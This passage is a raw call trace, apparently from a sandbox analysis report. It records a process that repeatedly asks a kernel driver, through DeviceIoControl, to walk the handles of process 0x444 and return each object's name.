PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.499] PsAcquireProcessExitSynchronization () returned 0x0 [0104.499] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.499] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0104.499] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.499] PsReleaseProcessExitSynchronization () returned 0x2 [0104.499] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.499] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.499] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0104.499] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.499] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.500] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x11c, lpOverlapped=0x0) returned 1 [0104.500] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.500] PsAcquireProcessExitSynchronization () returned 0x0 [0104.500] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.500] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0104.500] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.500] PsReleaseProcessExitSynchronization () returned 0x2 [0104.500] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.500] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.500] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0104.500] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.500] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.500] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0104.500] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.500] PsAcquireProcessExitSynchronization () returned 0x0 [0104.500] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.500] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0104.500] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.500] PsReleaseProcessExitSynchronization () returned 0x2 [0104.500] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.500] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.500] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0104.500] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.500] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.500] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.500] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.500] PsAcquireProcessExitSynchronization () returned 0x0 [0104.500] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.501] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0104.501] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.501] PsReleaseProcessExitSynchronization () returned 0x2 [0104.501] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.501] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.501] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0104.501] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.501] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.501] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.501] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.501] PsAcquireProcessExitSynchronization () returned 0x0 [0104.501] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.501] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0104.501] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.501] PsReleaseProcessExitSynchronization () returned 0x2 [0104.501] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.501] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.501] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0104.501] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.501] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.501] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.501] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.501] PsAcquireProcessExitSynchronization () returned 0x0 [0104.501] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.501] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0104.501] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.501] PsReleaseProcessExitSynchronization () returned 0x2 [0104.501] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.501] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.502] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0104.502] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.502] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.502] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.502] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.502] PsAcquireProcessExitSynchronization () returned 0x0 [0104.502] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.502] ObReferenceObjectByHandle (in: Handle=0x7f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0104.502] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.502] PsReleaseProcessExitSynchronization () returned 0x2 [0104.502] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.502] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.502] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0104.502] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.502] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.502] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.502] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.502] PsAcquireProcessExitSynchronization () returned 0x0 [0104.502] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.502] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0104.502] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.502] PsReleaseProcessExitSynchronization () returned 0x2 [0104.502] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.502] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.502] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0104.502] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.502] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.503] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.503] PsAcquireProcessExitSynchronization () returned 0x0 [0104.503] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.503] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.503] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.503] PsReleaseProcessExitSynchronization () returned 0x2 [0104.503] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.503] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.503] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.503] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.503] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.503] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.503] PsAcquireProcessExitSynchronization () returned 0x0 [0104.503] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.503] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0104.503] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.503] PsReleaseProcessExitSynchronization () returned 0x2 [0104.503] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.503] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.503] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0104.503] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.503] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x10c, lpOverlapped=0x0) returned 1 [0104.503] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.503] PsAcquireProcessExitSynchronization () returned 0x0 [0104.503] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.503] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020046f0, HandleInformation=0x0) returned 0x0 [0104.503] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.503] PsReleaseProcessExitSynchronization () returned 0x2 [0104.504] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.504] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.504] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0104.504] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.504] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.504] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.504] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.504] PsAcquireProcessExitSynchronization () returned 0x0 [0104.504] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.504] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0104.504] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.504] PsReleaseProcessExitSynchronization () returned 0x2 [0104.504] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.504] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.504] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0104.504] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.504] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.504] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.504] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.504] PsAcquireProcessExitSynchronization () returned 0x0 [0104.504] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.504] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0104.504] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.504] PsReleaseProcessExitSynchronization () returned 0x2 [0104.504] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.504] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.504] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0104.504] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.505] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.505] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.645] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.645] PsAcquireProcessExitSynchronization () returned 0x0 [0104.645] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.645] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0104.645] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.645] PsReleaseProcessExitSynchronization () returned 0x2 [0104.645] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.646] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.646] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0104.646] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.646] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.646] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.646] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.646] PsAcquireProcessExitSynchronization () returned 0x0 [0104.646] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.646] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0104.646] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.646] PsReleaseProcessExitSynchronization () returned 0x2 [0104.646] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.646] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.646] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0104.646] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.646] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.646] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.646] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.646] PsAcquireProcessExitSynchronization () returned 0x0 [0104.646] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.646] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0104.646] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.646] 